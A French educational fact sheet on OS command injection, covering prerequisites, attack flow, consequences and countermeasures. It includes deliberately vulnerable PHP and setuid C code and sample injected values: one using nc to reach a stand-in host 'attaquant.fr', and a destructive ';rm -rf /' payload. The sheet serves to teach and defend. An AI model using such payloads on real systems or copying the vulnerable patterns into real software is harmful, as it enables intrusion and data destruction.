Command Injection - Générique

Description

Les attaques de type injection de commandes consistent à injecter des commandes du système d'exploitation dans les fonctions d'une application existante.

Une application qui utilise des entrées non fiables pour construire des chaînes de commande est vulnérable. Un adversaire peut tirer parti de l'injection de commandes du système d'exploitation dans une application pour élever ses privilèges, exécuter des commandes arbitraires et compromettre le système d'exploitation sous-jacent.

Pré-requis d'exploitation

Pour exploiter cette vulnérabilité, il est nécessaire d'avoir accès à une application qui accepte les entrées de l'utilisateur sans les filtrer, puis les utiliser pour construire les commandes à exécuter.

Dans la plupart des cas, il s'agit d'une forme de chaîne de caractères qui est concaténée à une chaîne constante définie par l'application pour former la commande complète à exécuter.

Compétences nécessaires

- Connaissance des commandes systèmes de l'OS de l'hôte de l'application.

Outils nécessaires

- Outils de modification et/ou d'interception de requêtes (Burp, Curl).

Flux d'exécution

Explorer

Déterminer le système d'exploitation sous-jacents via, par exemple, des scans de ports avec **nmap**.

Identifier les entrées contrôlables par l'utilisateur qui sont transmises dans le cadre d'une commande au système d'exploitation sous-jacent.

Expérimenter

Injecter des délimiteurs de commande suivis de commandes systèmes et observer les résultats.

Exploiter

Consulter les solutions de chaque challenge.

Conséquences potentielles

Le succès de ce type d'attaque peut permettre :

- Une exécution de commande arbitraire ;
- La compromission totale de la machine hébergeant l'application vulnérable.

Contres-mesures

Les contre-mesures suivantes peuvent être mises en œuvre :

- Utiliser les API du langage plutôt que de vous fier à la transmission de données au shell du système d'exploitation ou à la ligne de commande. Cela permet de s'assurer que les mécanismes de protection disponibles dans le langage sont intacts et applicables.

- Filtrer toutes les données entrantes afin d'échapper ou de supprimer les caractères ou les chaînes qui peuvent être potentiellement interprétés comme des commandes du système d'exploitation ou du shell.
- Exécuter les processus d'application avec les privilèges minimaux requis. De plus, les processus doivent se défaire des privilèges dès qu'ils n'en ont plus besoin.

Comment cela fonctionne

Les scénarios suivants peuvent être joués via l'exploitation de cette vulnérabilité :

- Un attaquant peut utiliser une injection de commandes pour exécuter des commandes malveillantes sur un serveur web. Par exemple, il peut utiliser une injection de commandes pour exécuter une commande de suppression de fichiers, ce qui peut entraîner la suppression de fichiers importants sur le serveur.
- Un attaquant peut également utiliser une injection de commandes pour accéder à des informations sensibles sur le serveur. Par exemple, il peut injecter une commande qui affiche le contenu du fichier **/etc/passwd**, qui contient les noms de tous les utilisateurs du serveur. En accédant à ces informations, l'attaquant pourra par la suite tenter de bruteforcer les mots de passe des utilisateurs et tenter d'accéder à leurs comptes.

Exemple 1

Cet exemple de code vise à prendre le nom d'un utilisateur et à lister le contenu du répertoire personnel de cet utilisateur. Il est sujet à la première variante de l'injection de commande OS.

La variable **$userName** n'est pas vérifiée pour détecter les entrées malveillantes. Un attaquant peut définir la variable $userName avec une commande OS arbitraire telle que : 'toto; nc attaquant.fr 80'

<cadre class="PHP"

>

$

userName = $_POST["user"]; $command = 'ls -l /home/' . $userName; system($command); </cadre>

Exemple 2

Le programme simple suivant accepte un nom de fichier comme argument de ligne de commande et affiche le contenu du fichier à l'utilisateur. Le programme est installé **setuid root** car il est destiné à être utilisé comme outil d'apprentissage pour permettre aux administrateurs système en formation d'inspecter les fichiers système privilégiés sans leur donner la possibilité de les modifier ou d'endommager le système.

Comme le programme s'exécute avec les privilèges de l'administrateur, l'appel à **system()** s'exécute également avec les privilèges de l'administrateur. Si un utilisateur spécifie un nom de fichier standard, l'appel fonctionne comme prévu. Cependant, si un attaquant passe une chaîne de la forme **";rm -rf /"}** alors l'appel à system() échoue en raison d'un manque d'arguments et continue à supprimer récursivement le contenu de la partition racine.

<cadre class="C"

>

i

nt main(int argc, char** argv) {

```
  char cmd[CMD_MAX] = "/usr/bin/cat ";
  strcat(cmd, argv[1]);
  system(cmd);}
```

</cadre>

Retour fiches vulnérabilités

- Cyber fiches vulnérabilités